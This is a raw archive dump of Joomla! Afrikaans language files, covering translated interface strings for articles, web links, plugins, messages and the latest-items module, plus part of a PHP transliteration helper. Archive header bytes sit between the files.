              Gewyer beteken dat ongeag wat die globale konfigurasie of Ouer kategorie instelling is, die groep wat geredigeer word nie hierdie aksie binne-in die komponent sal toepas nie.
              Toegelaat beteken dat die groep wat geredigeer word, die aksies vir hierdie binne-in die komponent sal toepas (maar as dit in konflik met die Ouer-kategorie of Komponent instelling is, sal dit geen verskil maak nie; 'n konflik sal aangetoon word met Nie Toegelaat nie (Gesluit) onder Berekende Instellings).
              2. Indien jy 'n nuwe instelling kies, kliek op Stoor om die berekende instellings te vervars." COM_WEBLINKS_FIELD_WIDTH_DESC="Breedte van die opspring- of modale venster. Verstek na 600x500 wanneer een veld leeggelaat is." COM_WEBLINKS_FIELD_ICON_DESC="Vertoon teks, 'n ikoon of niks met die Web skakels. Verstek is 'Ikoon'." COM_WEBLINKS_CONFIG_INTEGRATION_SETTINGS_DESC="Hierdie instellings bepaal hoe die Webskakel Komponent met ander ekstensies sal integreer." COM_WEBLINKS_FIELD_TARGET_DESC="Teiken webblaaier-venster wanneer op die skakel gekliek word" COM_WEBLINKS_LIST_LAYOUT_DESC="Hierdie instellings is slegs van toepassing tot Webskakels Lys Uitleg Opsies, behalwe as hulle gewysig is vir 'n spesifieke menu item." ; Moet nog vertaal word.. COM_WEBLINKS_BATCH_TIP="If choosing to copy a link, any other actions selected will be applied to the copied link. Otherwise, all actions are applied to the selected link." COM_WEBLINKS_CATEGORIES_DESC="These settings apply for Weblinks Categories Options unless they are changed for a specific menu item." COM_WEBLINKS_CATEGORY_DESC="These settings apply for Weblinks Category Options unless they are changed for a specific menu item." COM_WEBLINKS_COMPONENT_DESC="These settings apply for Weblinks unless they are changed for a specific menu item or Weblink." COM_WEBLINKS_SHOW_EMPTY_CATEGORIES_DESC="If Show, empty categories will display. A category is only empty - if it has no Weblinks or subcategories." PK@y>\rw77$language/af-ZA/af-ZA.com_content.ininuW+A; Afrikaanse Vertaling http://joomlacode.org/gf/project/afrikaans_taal ; $Id: af-ZA.com_content.ini 1788 2012-07-31 22:18:21Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word COM_CONTENT_MONTH="Maand" COM_CONTENT_N_ITEMS_CHECKED_IN_0="Geen artikel suksesvol ingeteken nie" COM_CONTENT_N_ITEMS_CHECKED_IN_1="%d artikel suksesvol ingeteken" COM_CONTENT_N_ITEMS_CHECKED_IN_MORE="%d artikels suksesvol ingeteken" COM_CONTENT_N_ITEMS_DELETED_1="%s artikel geskrap." COM_CONTENT_N_ITEMS_DELETED="%s artikels geskrap." COM_CONTENT_N_ITEMS_PUBLISHED_1="%s artikel gepubliseer." COM_CONTENT_N_ITEMS_PUBLISHED="%s artikels gepubliseer." COM_CONTENT_N_ITEMS_TRASHED_1="%s artikel gepurgeer." COM_CONTENT_N_ITEMS_TRASHED="%s artikels gepurgeer." COM_CONTENT_N_ITEMS_UNPUBLISHED_1="%s artikel ontpubliseer." COM_CONTENT_N_ITEMS_UNPUBLISHED="%s artikels ontpubliseer." COM_CONTENT_PAGEBREAK_TITLE="Bladsy Titel:" COM_CONTENT_SAVE_SUCCESS="Artikel suksesvol gestoor" COM_CONTENT="Artikels" COM_CONTENT_ATTRIBS_FIELDSET_LABEL="Artikel Opsies" COM_CONTENT_CONFIGURATION="Artikel Bestuurder Opsies" COM_CONTENT_FIELD_CREATED_BY_LABEL="Geskep deur" COM_CONTENT_FIELD_CREATED_DESC="Datum van wanneer die item geskep is" COM_CONTENT_FIELD_CREATED_LABEL="Skeppings-Datum" COM_CONTENT_FIELDSET_RULES="Artikel Toestemmings" COM_CONTENT_FIELD_VERSION_LABEL="Weergawe" COM_CONTENT_ID_LABEL="ID" COM_CONTENT_NUMBER_CATEGORY_ITEMS_LABEL="# Artikels in Kategorie" COM_CONTENT_FEATURED="Hooftrek-artikel" COM_CONTENT_FEATURED_ORDER="Hooftrekke Artikels Rangskikking" COM_CONTENT_DRILL_DOWN_LAYOUT_LABEL="Lys of Blog Uitleg" COM_CONTENT_FIELD_PUBLISH_DOWN_LABEL="Voltooi Publiseering" COM_CONTENT_SUBMENU_CATEGORIES="Kategorië" COM_CONTENT_SUBMENU_FEATURED="Hooftrek-Artikels" COM_CONTENT_PAGEBREAK_DOC_TITLE="Bladsybreuk" COM_CONTENT_SUBMENU_CATEGORIES="Kategorië" COM_CONTENT_SUBMENU_FEATURED="Hooftrek Artikels" COM_CONTENT_FIELD_ARTICLETEXT_LABEL="Artikel Teks" COM_CONTENT_FIELDSET_PUBLISHING="Publiseering Opsies" COM_CONTENT_PAGEBREAK_TOC="Inhouds-Tabel se Alias:" COM_CONTENT_CHOOSE_CATEGORY_DESC="Kies 'n Ouer-kategorie" COM_CONTENT_CONFIG_BLOG_SETTINGS_LABEL="Blog / Hooftrekke Uitleë" COM_CONTENT_FIELD_CREATED_BY_ALIAS_LABEL="Geskep deur alias" COM_CONTENT_PAGE_ADD_ARTICLE="Artikel Bestuurder: Voeg Nuwe Artikel" COM_CONTENT_FIELD_PUBLISH_UP_LABEL="Begin Publiseer" COM_CONTENT_FIELD_SELECT_ARTICLE_LABEL="Kies Artikel" COM_CONTENT_XML_DESCRIPTION="Artikel bestuur komponent" COM_CONTENT_PAGEBREAK_INSERT_BUTTON="Invoeg van 'n Bladbreek" COM_CONTENT_FEATURED_CATEGORIES_LABEL="Kies Kategorië" COM_CONTENT_FIELD_HITS_DESC="Aantal trefslae vir hierdie artikel" COM_CONTENT_FEATURED_TITLE="Artikel Bestuurder: Hooftrek-Artikels" COM_CONTENT_FIELD_LANGUAGE_DESC="Die taal wat die artikel aan toegewys is." COM_CONTENT_FIELD_MODIFIED_DESC="Die datum en tyd wat die artikel laas gewysig is." COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS="Gebruik Artikel Instellings" COM_CONTENT_SHOW_EMPTY_CATEGORIES_DESC="Indien Vertoon, sal leë kategorië vertoon word. 'n Kategorie is slegs leeg - as dit geen artikels of subkategorieë het nie." COM_CONTENT_WARNING_PROVIDE_VALID_NAME="Verskaf asseblief 'n geldige, nie-blanko titel." COM_CONTENT_FIELD_ARTICLETEXT_DESC="Tik die artikel inhoud in die teks-area" COM_CONTENT_NEW_ARTICLE="Nuwe Artikel" COM_CONTENT_PAGE_EDIT_ARTICLE="Artikel Bestuurder: Redigeer Artikel" COM_CONTENT_ARTICLES_TITLE="Artikel Bestuurder: Artikels" COM_CONTENT_ATTRIBS_ARTICLE_SETTINGS_LABEL="Artikel Opsies" COM_CONTENT_EDIT_ARTICLE="Redigeer Artikel" COM_CONTENT_SELECT_AN_ARTICLE="Kies 'n Artikel" COM_CONTENT_ARTICLE_DETAILS="Artikel Details" COM_CONTENT_NO_ARTICLES_LABEL="Geen Artikels Boodskap" COM_CONTENT_PAGE_VIEW_ARTICLE="Artikel Bestuurder: Besigtig Artikel" COM_CONTENT_N_ITEMS_ARCHIVED_1="%s artikel argiveer." COM_CONTENT_N_ITEMS_ARCHIVED="%s artikels argiveer." COM_CONTENT_CHANGE_ARTICLE_BUTTON="Kies / Wysig" COM_CONTENT_FILTER_SEARCH_DESC="Soek titel of alias. Gebruik die 'id:'-Voorvoegsel om 'n artikel id te soek." COM_CONTENT_CHANGE_ARTICLE="Kies of Wysig artikel" COM_CONTENT_CONFIG_CATEGORIES_SETTINGS_DESC="Hierdie instellings geld net vir Artikel Kategorië-Opsies behalwe as hulle gewysig is vir 'n spesifieke kategorie of menu item." COM_CONTENT_CONFIG_BLOG_SETTINGS_DESC="Hierdie instellings geld net vir Blog- of Gehooftrekde uitleë behalwe as hulle vir 'n spesifieke menu item gewysig is." COM_CONTENT_CONFIG_CATEGORY_SETTINGS_DESC="Hierdie instellings geld net vir Artikel Kategorie-Opsies behalwe as hulle gewysig is vir 'n spesifieke kategorie of menu item." COM_CONTENT_CONFIG_LIST_SETTINGS_DESC="Hierdie instellings geld net vir Lys Uitleg-Opsies behalwe as hulle vir 'n spesifieke menu item gewysig is." COM_CONTENT_DRILL_CATEGORIES_LABEL="Lys- of Blog-vertoon: nadat jy gekies het,
              maak seker dat jy die Opsies vir die gewensde uitleg defineer." COM_CONTENT_CONFIG_INTEGRATION_SETTINGS_DESC="Hierdie instelling bepaal hoe die Artikel Komponent met ander ekstensies sal integreer." COM_CONTENT_FIELD_PUBLISH_UP_DESC="'n Optionele datum vir wanneer om die Artikel te begin Publiseer." COM_CONTENT_FIELD_SELECT_ARTICLE_DESC="Kies die gewensde artikel uit die lys.." COM_CONTENT_FIELD_VERSION_DESC="'n Telling van die aantal kere wat hierdie artikel hersien is." COM_CONTENT_FIELD_XREFERENCE_LABEL="Kruis-Verwysing" COM_CONTENT_FIELD_XREFERENCE_DESC="'n Optionele verwysing wat gebruik word om na 'n eksterne data bron te skakel." COM_CONTENT_NUMBER_CATEGORY_ITEMS_DESC="Indien na Vertoon gestel, sal die aantal artikels in die kategorie vertoon word." COM_CONTENT_BATCH_MENU_LABEL="Kies Kategorie om te Verskuif/Kopieer" COM_CONTENT_BATCH_OPTIONS="Bondelverwerk die gekose artikels" COM_CONTENT_CREATE_ARTICLE_CATEGORY_LABEL="Verstek kategorie" COM_CONTENT_SHARED_LABEL="Onderdeelde Opsies" COM_CONTENT_FIELD_CREATED_BY_DESC="Jy kan hier die naam van die gebruiker wysig wie die artikel geskep het." COM_CONTENT_FIELD_PUBLISH_DOWN_DESC="'n Optionele datum waanneer die publiseering van die artikel beeindig word." COM_CONTENT_FIELD_FULL_LABEL="Volle artikel beeld" COM_CONTENT_FIELD_IMAGE_ALT_LABEL="Alt text" COM_CONTENT_FIELD_IMAGE_CAPTION_LABEL="Onderskrif" COM_CONTENT_FIELD_IMAGE_DESC="Die beeld om te vertoon" COM_CONTENT_FIELD_INTRO_LABEL="Intro Beeld" COM_CONTENT_FIELDSET_URLS_AND_IMAGES="Beelde en Skakels" COM_CONTENT_FIELD_URLA_LABEL="Skakel A" COM_CONTENT_FIELD_URLA_LINK_TEXT_LABEL="Skakel A Teks" COM_CONTENT_FIELD_URLB_LABEL="Skakel B" COM_CONTENT_FIELD_URLB_LINK_TEXT_LABEL="Skakel B Teks" COM_CONTENT_FIELD_URLC_LABEL="Skakel C" COM_CONTENT_FIELD_URLC_LINK_TEXT_LABEL="Skakel C Teks" COM_CONTENT_FIELD_URL_LINK_TEXT_LABEL="Skakel Text" COM_CONTENT_FIELD_FULL_DESC="Beeld vir die vertoon van die enkel-artikel" COM_CONTENT_FIELD_IMAGE_ALT_DESC="Alternatiewe teks om te gebruik vir besoekers wat nie toegang tot beelde het nie. Word vervang met onderskrif teks indien daar enige is." COM_CONTENT_FIELD_IMAGE_CAPTION_DESC="Onderskrif aan die beeld geheg" COM_CONTENT_FIELD_URL_LINK_TEXT_DESC="Teks om vir die skakel te vertoon" COM_CONTENT_FLOAT_DESC="Beheer plasing van beeld" COM_CONTENT_FLOAT_FULLTEXT_LABEL="Volle teks beeld, drywend" COM_CONTENT_LEFT="Links" COM_CONTENT_NONE="Geen" COM_CONTENT_RIGHT="Regs" COM_CONTENT_SHOW_ARTICLE_OPTIONS_LABEL="Vertoon Artikel Opsies" COM_CONTENT_SHOW_IMAGES_URLS_BACK_DESC="Vertoon of versteek velde waardeur gestandaardiseerde beelde en skakels as administrateur kan ingevoeg word" COM_CONTENT_SHOW_IMAGES_URLS_BACK_LABEL="Administrateur Beelde en Skakels" COM_CONTENT_SHOW_IMAGES_URLS_FRONT_LABEL="Voorkant Beelde en Skakels" COM_CONTENT_SHOW_PUBLISHING_OPTIONS_LABEL="Vertoon Publiseer Opsies" COM_CONTENT_SLIDER_EDITOR_CONFIG="Konfigureer Redigeerings Skerm" COM_CONTENT_URL_FIELD_A_BROWSERNAV_LABEL="URL A Bestemmingsvenster" COM_CONTENT_URL_FIELD_B_BROWSERNAV_LABEL="URL B Bestemmingsvenster" COM_CONTENT_URL_FIELD_BROWSERNAV_LABEL="URL Bestemmingsvenster" COM_CONTENT_URL_FIELD_C_BROWSERNAV_LABEL="URL C Bestemmingsvenster" COM_CONTENT_ACCESS_EDITSTATE_DESC="Die geërfde staat vir redigeer staat aksies op hierdie artikel en die berekende staat, gebaseer op die ouer-kategorie en toegangsregte." COM_CONTENT_FIELD_INTRO_DESC="Beeld vir die intro teks uitleg vir blogge ens." COM_CONTENT_FIELD_OPTION_ABOVE="Bo" COM_CONTENT_FIELD_OPTION_BELOW="Onder" COM_CONTENT_FLOAT_INTRO_LABEL="Intro beeld, drywend" JGLOBAL_NO_ITEM_SELECTED="Geen artikels gekies nie" JLIB_APPLICATION_ERROR_BATCH_CANNOT_CREATE="Jy is nie gemagtig om nuwe artikels in hierdie kategorie te skep nie." JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT="Jy is nie gemagtig om een of meer van hierdie artikels te redigeer nie." JLIB_RULES_SETTING_NOTES="1. Indien jy die instelling wysig, sal dit op hierdie en alle afstammelings-kategorië toegepas word. Let op dat:
              Geërf beteken dat die permissisies van die Ouer kategorie gebruik sal word as daar 'n Ouer kategorie, of as daar nie 'n Ouer kategorie is nie, die komponent s'n gebruik sal word.
              Gewyer beteken dat ongeag wat die globale konfigurasie of Ouer kategorie instelling is, die groep wat geredigeer word nie hierdie aksie binne-in die komponent sal toepas nie.
              Toegelaat beteken dat die groep wat geredigeer word, die aksies vir hierdie binne-in die komponent sal toepas (maar as dit in konflik met die Ouer-kategorie of Komponent instelling is, sal dit geen verskil maak nie; 'n konflik sal aangetoon word met Nie Toegelaat nie (Gesluit) onder Berekende Instellings).
              2. Indien jy 'n nuwe instelling kies, kliek op Stoor om die berekende instellings te vervars." JLIB_RULES_SETTING_NOTES_ITEM="1. Indien jy die instelling wysig, sal dit op hierdie en alle afstammelings-kategorië toegepas word. Let op dat:
              Geërf beteken dat die permissisies van die Ouer kategorie gebruik sal word as daar 'n Ouer kategorie, of as daar nie 'n Ouer kategorie is nie, die komponent s'n gebruik sal word.
              Gewyer beteken dat ongeag wat die globale konfigurasie of Ouer kategorie instelling is, die groep wat geredigeer word nie hierdie aksie binne-in die komponent sal toepas nie.
              Toegelaat beteken dat die groep wat geredigeer word, die aksies vir hierdie binne-in die komponent sal toepas (maar as dit in konflik met die Ouer-kategorie of Komponent instelling is, sal dit geen verskil maak nie; 'n konflik sal aangetoon word met Nie Toegelaat nie (Gesluit) onder Berekende Instellings).
              2. Indien jy 'n nuwe instelling kies, kliek op Stoor om die berekende instellings te vervars." COM_CONTENT_FIELD_URL_DESC="Die skakel waarna die gebruiker herlei sal word. Moet 'n volledige URL wees, insluitende die http:// of ander protokol, bv. http://joomla.org." COM_CONTENT_FLOAT_LABEL="Drywende Beeld" COM_CONTENT_CONFIG_EDITOR_LAYOUT="Hierdie opsies beheer die uitleg van die artikel-redigeerbladsy." COM_CONTENT_CREATE_ARTICLE_CATEGORY_DESC="Indien na 'Ja' gestel is, sal hierdie bladsy jou slegs toelaat om artikels te skep in die kategorie wat jy hieronder gekies het." COM_CONTENT_EDITING_LAYOUT="Redigeering Uitleg" COM_CONTENT_FIELD_URLSPOSITION_LABEL="Positioneering van die Skakels" COM_CONTENT_UNFEATURED="Glanslose Artikel" COM_CONTENT_ACCESS_EDIT_DESC="Die geërfde staat vir redigeer staat aksies op hierdie artikel en die berekende staat, gebaseer op die ouer-kategorie en groep toegangsregte." COM_CONTENT_FIELD_FEATURED_DESC="Wys die artikel toe aan die glanspunt-blog se uitleg" COM_CONTENT_FIELD_URLSPOSITION_DESC="Vertoon die skakels bo of onder die inhoud" COM_CONTENT_ACCESS_DELETE_DESC="Die geërfde staat vir skrap aksies op hierdie artikel en die berekende staat, gebaseer op die ouer kategorie en groep toegangsregte." COM_CONTENT_FEATURED_CATEGORIES_DESC="Optionele lys van kategorië. Indien gekies, sal slegs glansartikels van die gekose kategorië vertoon word. Gebruik Ctrl+Kliek om te selekteer of te ontselekteer." COM_CONTENT_FIELD_CREATED_BY_ALIAS_DESC="Jy kan hier 'n alias invoer wat vertoon sal word in plaas van die naam van die gebruiker wie die artikel skep het." COM_CONTENT_SHOW_ARTICLE_OPTIONS_DESC="Vertoon of versteek artikel-opsie glyer in die agterend se artikel redigeer-aansig. Hierdie opsies oorskryf die globale opsies." COM_CONTENT_BATCH_TIP="Indien jy 'n artikel kopieer, sal alle ander gekose aksies ook op die gekopieerde artikel toegepas word." COM_CONTENT_CONFIG_ARTICLE_SETTINGS_DESC="Hierdie instellings is slegs van toepassing op artikel-uitleë, behalwe as hulle gewysig is vir 'n spesifieke menu item." COM_CONTENT_NO_ARTICLES_DESC="Indien 'Vertoon', sal die boodskap 'Daar is geen artikels in hierdie kategorie nie' vertoon wanneer daar geen artikels in die kategorie is nie, of wanneer 'Leë Kategorië' na 'Vertoon' gestel is." COM_CONTENT_SHARED_DESC="Hierdie instellings is slegs van toepassing op Gedeelde Opsies in Lys, Blog en Glansitems, behalwe as hulle deur die menu instellings gewysig is." COM_CONTENT_SHOW_IMAGES_URLS_FRONT_DESC="Vertoon of Versteek velde waarmee standaard beelde en skakels ingevoeg kan word wanneer deur die voorkant geredigeer word." COM_CONTENT_SHOW_PUBLISHING_OPTIONS_DESC="Vertoon of Versteek die publieer-opsie glyer in die artikel redigeer-aansig. Hierdie opsies laat datum- en outeur identiteit-wysigings toe." COM_CONTENT_TOGGLE_TO_FEATURE="Wissel om die artikel-status na 'Glansitem' te verander" COM_CONTENT_TOGGLE_TO_UNFEATURE="Wissel om die artikel-status na 'nie-Glansitem' te verander" COM_CONTENT_URL_FIELD_BROWSERNAV_DESC="Bestemmings-webblaaiervenster wanneer die menuitem gekliek word." COM_CONTENT_DRILL_DOWN_LAYOUT_DESC="Wanneer na 'n kategorie afgeboor word, om óf artikels in 'n lys- óf in 'n blog-uitleg te vertoon." PK@y>\T*language/af-ZA/af-ZA.com_languages.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.com_languages.sys.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word COM_LANGUAGES="Taal Bestuurder" COM_LANGUAGES_XML_DESCRIPTION="Komponent vir taal bestuur" PK@y>\4(/\__3language/af-ZA/af-ZA.plg_content_emailcloak.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.plg_content_emailcloak.sys.ini 1705 2012-02-04 16:29:20Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_CONTENT_EMAILCLOAK="Inhoud - E-pos Verhulling" PLG_CONTENT_EMAILCLOAK_XML_DESCRIPTION="Verskuil alle e-posse in die inhoud van spambotte d.m.v. JavaScript" PK@y>\3117language/af-ZA/af-ZA.plg_quickicon_joomlaupdate.sys.ininuW+A; af-ZA Language Translation for Joomla! ; $Id: af-ZA.plg_quickicon_joomlaupdate.sys.ini 1710 2012-02-05 14:38:57Z gerrit_hoekstra $ ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_QUICKICON_JOOMLAUPDATE_XML_DESCRIPTION="Toets vir opdateerings van Joomla! en laat jou weet wanneer jy die Beheerpaneel bladsy besoek" PLG_QUICKICON_JOOMLAUPDATE="Vinnige Ikoon - Joomla! Opdateer Kennisgewing" PK@y>\x$$*language/af-ZA/af-ZA.plg_content_geshi.ininuW+A; Afrikaanse Vertaling http://joomlacode.org/gf/project/afrikaans_taal ; $Id: af-ZA.plg_content_geshi.ini 1702 2012-01-30 08:13:33Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_CONTENT_GESHI_XML_DESCRIPTION="Vertoon formatteerde kode in Artikels gebaseer op die GeSHi Kode-Beklemtooning-enjin" PLG_CONTENT_GESHI="Inhoud - Kode-Beklemtooner (GeSHi)" PK@y>\pjj.language/af-ZA/af-ZA.plg_content_geshi.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.plg_content_geshi.sys.ini 1702 2012-01-30 08:13:33Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_CONTENT_GESHI="Inhoud - Kode-Beklemtooner (GeSHi)" PLG_CONTENT_GESHI_XML_DESCRIPTION="Vertoon formatteerde kode in Artikels gebaseer op die GeSHi Kode-Beklemtooning-enjin" PK@y>\@hh1language/af-ZA/af-ZA.plg_system_highlight.sys.ininuW+A; af-ZA Language Translation for Joomla! ; $Id: af-ZA.plg_system_highlight.sys.ini 1698 2012-01-22 21:50:53Z gerrit_hoekstra $ ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SYSTEM_HIGHLIGHT="Stelsel - Beklemtooning" PLG_SYSTEM_HIGHLIGHT_XML_DESCRIPTION="Stelsel inprop-program om spesifieke terme te beklemtoon." PLG_SYSTEM_HIGHLIGHT_ERROR_ACTIVATING_PLUGIN="Kon nie die "_QQ_"Stelsel - Beklemtoon"_QQ_" inprop-program outomaties aktiveer nie" PK@y>\ę!language/af-ZA/af-ZA.localise.phpnuW+A 'à,á,â,ã,ä,å,ā,ă,ą,ḁ,α,ά', 'ae' => 'æ', 'b' => 'β,б', 'c' => 'ç,ć,ĉ,ċ,č,ч,ћ,ц', 'ch' => 'ч', 'd' => 'ď,đ,Ð,д,ђ,δ,ð', 'dz' => 'џ', 'e' => 'è,é,ê,ë,ē,ĕ,ė,ę,ě,э,ε,έ', 'f' => 'ƒ,ф', 'g' => 'ğ,ĝ,ğ,ġ,ģ,г,γ', 'h' => 'ĥ,ħ,Ħ,х', 'i' => 'ì,í,î,ï,ı,ĩ,ī,ĭ,į,и,й,ъ,ы,ь,η,ή', 'ij' => 'ij', 'j' => 'ĵ', 'ja' => 'я', 'ju' => 'яю', 'k' => 'ķ,ĸ,κ', 'l' => 'ĺ,ļ,ľ,ŀ,ł,л,λ', 'lj' => 'љ', 'm' => 'μ', 'n' => 'ñ,ņ,ň,ʼn,ŋ,н,ν', 'nj' => 'њ', 'o' => 'ò,ó,ô,õ,ø,ō,ŏ,ő,ο,ό,ω,ώ', 'oe' => 'œ,ö', 'p' => 'п,π', 'ph' => 'φ', 'ps' => 'ψ', 'r' => 'ŕ,ŗ,ř,р,ρ,σ,ς', 's' => 'ş,ś,ŝ,ş,š,с', 'ss' => 'ß,ſ', 'sh' => 'ш', 'shch' => 'щ', 't' => 'ţ,ť,ŧ,τ', 'th' => 'θ', 'u' => 'ù,ú,û,ü,ũ,ū,ŭ,ů,ű,ų,у', 'v' => 'в', 'w' => 'ŵ', 'x' => 'χ,ξ', 'y' => 'ý,þ,ÿ,ŷ', 'z' => 'ź,ż,ž,з,ж,ζ' ); foreach( $glyph_array as $letter => $glyphs ) { $glyphs = explode( ',', $glyphs ); $str = str_replace( $glyphs, $letter, $str ); } return $str; } } PK@y>\"''0language/af-ZA/af-ZA.plg_system_remember.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.plg_system_remember.sys.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_SYSTEM_REMEMBER="Stelsel - Onthou My" PLG_REMEMBER_XML_DESCRIPTION="Verskaf Onthou-My funksienaliteit" PK@y>\EY4-language/af-ZA/af-ZA.com_joomlaupdate.sys.ininuW+A; af-ZA Language Translation for Joomla! ; $Id: af-ZA.com_joomlaupdate.sys.ini 1747 2012-03-20 20:49:30Z gerrit_hoekstra $ ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_JOOMLAUPDATE="Joomla! Opdateering" COM_JOOMLAUPDATE_XML_DESCRIPTION="Een-kliek opdateer vir die nuutste Joomla! uitgawe" PK@y>\=,--(language/af-ZA/af-ZA.com_plugins.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.com_plugins.sys.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word COM_PLUGINS="Inprop-Program Bestuurder" COM_PLUGINS_XML_DESCRIPTION="Hierdie komponent bestuur Joomla! inprop-programme" PK@y>\* 881language/af-ZA/af-ZA.plg_extension_joomla.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.plg_extension_joomla.sys.ini 1710 2012-02-05 14:38:57Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_EXTENSION_JOOMLA="Ekstensie - Joomla!" PLG_EXTENSION_JOOMLA_XML_DESCRIPTION="Beheer die opdateer-werwe vir ekstensies" PK@y>\|^~~)language/af-ZA/af-ZA.com_messages.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.com_messages.sys.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word COM_MESSAGES_ADD="Nuwe Private Boodskap" COM_MESSAGES_READ="Lees Private Boodskappe" COM_MESSAGES="Boodskappe" COM_MESSAGES_XML_DESCRIPTION="Komponent vir privaate boodskap ondersteuning in akterkant" PK@y>\#language/af-ZA/af-ZA.mod_latest.ininuW+A; Afrikaanse Vertaling http://joomlacode.org/gf/project/afrikaans_taal ; $Id: af-ZA.mod_latest.ini 1788 2012-07-31 22:18:21Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word MOD_LATEST="mod_latest" MOD_LATEST_CREATED_BY="Geskep deur" MOD_LATEST_CREATED="Skep" MOD_LATEST_FIELD_COUNT_DESC="Die aantal items om te vertoon (verstek 5)" MOD_LATEST_FIELD_COUNT_LABEL="Aantal" MOD_LATEST_LATEST_ITEMS="Laatste Items" MOD_LATEST_FIELD_ORDERING_LABEL="Rangskikking" MOD_LATEST_FIELD_ORDERING_DESC="Rangskikking opsies" MOD_LATEST_UNEXISTING="Bestaan nie" MOD_LATEST_TITLE_MODIFIED_1="Laaste Gewysig Artikel" MOD_LATEST_FIELD_VALUE_AUTHORS_ANYONE="Enigiemand" MOD_LATEST_TITLE_MODIFIED_NOT_ME="Laas-gewysigde Artikels (nie deur my nie)" MOD_LATEST_TITLE_MODIFIED_NOT_ME_1="Laas-gewysigde Artikel (nie deur my nie)" MOD_LATEST_TITLE_CREATED_BY_ME_MORE="Laaste %1 Begevoegde Artikels deur my" MOD_LATEST_FIELD_ORDERING_DESC="Rangskikkings Opsies" MOD_LATEST_TITLE_CREATED_BY_ME_1="Laas-bygevoegde Artikel deur my" MOD_LATEST_TITLE_CREATED_1="Laaste Bygevoegde Artikel" MOD_LATEST_TITLE_MODIFIED_BY_ME_MORE="Laaste %1 Gewysigde Artikels deur my" MOD_LATEST_TITLE_CREATED_CATEGORY_NOT_ME_1="Laas-bygevoegde Artikel nie deur my nie (%2 kategorie)" MOD_LATEST_FIELD_AUTHORS_DESC="'n Filter vir die Outeurs" 